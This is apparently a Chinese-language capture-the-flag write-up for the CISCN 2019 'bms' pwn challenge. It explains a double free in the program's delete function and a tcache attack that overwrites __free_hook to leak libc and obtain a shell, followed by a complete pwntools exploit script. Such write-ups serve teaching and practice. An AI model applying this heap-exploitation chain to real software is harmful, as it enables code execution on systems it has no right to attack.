ciscn2019-bms

介绍

国赛2019的最后一道题,涉及到了tcache,还是有一定难度的,堆布局挺烦的。

分析程序

程序最开始有个登陆,简单分析一下可以知道账户admin,密码frame。

然后是一个单选系统,只有add和delete,没有输出的地方,结构体如下。

1
2
3
4
5
00000000 node            struc ; (sizeof=0x20, mappedto_6)
00000000 name db 16 dup(?)
00000010 des_addr dq ? ; offset
00000018 des_len dq ?
00000020 node ends

漏洞出现在delete的时候,free之后没有将指针清零,也没有对index做检查,所以可以double free,但是只可以add十次。

利用方式

tcache在在2.29之前好像都没有做什么检查,还是很好利用的,但是程序没有明显的泄漏的地方还是比较麻烦的,这里的做法是partial overwrite,将堆上残留的libc地址改成__free_hook的地址,需要爆破一位所以成功率为1/16,然后改写__free_hook为puts地址,就可以泄漏libc地址了,然后再次修改__free_hooksystem即可getshell。

这里详细讲解一下利用的过程:

  1. 分配一个smallbin大小的堆块(0),用于产生残留的libc地址,再分配一个fastbin(1),因为后面会破坏free函数,所以这里提前free准备好一个double free
  2. free 8次0号堆块,此时unsortbin上会有一个堆块,且上面有残留的libc地址
  3. 再次add一次,这次所add的node的堆块就是从unsortbin上剥离下来的,所以对name进行写,即可将上面残留的libc地址改写为__free_hook地址
  4. 再次add两个和0号堆块一样大小的堆块(3,4),4号堆块就会被malloc到__free_hook上,对4号堆块进行写入,即可将__free_hook的值改写为elf.plt['puts']
  5. 再次free 0号堆块,就会泄漏出libc的地址
  6. 利用最开始准备的1号堆块,将__free_hook改写为system的地址
  7. 分配一个堆块(8),写上/bin/sh,free掉,即可调用system("/bin/sh")

脚本

攻击方式只有1/16的成功率,所以做了个循环,但是alarm好像不起效,遇到脚本卡住,多crlt+c几次就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

binary = './pwn'
lib = '/lib/x86_64-linux-gnu/libc-2.27.so'
elf = ELF(binary)
libc = ELF(lib)

def add(name, size, desc):
p.sendlineafter('>','1')
p.sendafter('book name:',name)
p.sendafter('description size:',str(size))
p.sendafter('description:', desc)


def delete(idx):
p.sendlineafter('>','2')
p.sendlineafter('index:',str(idx))

def main():

global p
p = process(binary, alarm=1)

# login
p.sendline('admin')
p.sendline('frame')

add('0',0x90,'000000')
add('1',0x10,'111111')

delete(1)
delete(1)

for _ in range(8):
delete(0)

add('\xe8\x98',0x20,'\n') # 2

add('3',0x90,'\n')

# free_hook -> puts
add('4',0x90,p64(elf.plt['puts']))


delete(0)
leak = p.recv(6)
libc.address = u64(leak.ljust(8,'\x00')) - (0x7fe75414980a - 0x7fe753d5c000)

assert (libc.address>>40) == 0x7f

# free_hook -> system
add('5',0x10,p64(libc.symbols['__free_hook']))
add('6',0x10,p64(libc.symbols['system']))
add('7',0x10,p64(libc.symbols['system']))

add('8',0x33,'/bin/sh\x00')
delete(8)

p.interactive()

while True:
try:
main()
except:
p.close()
else:
exit(0)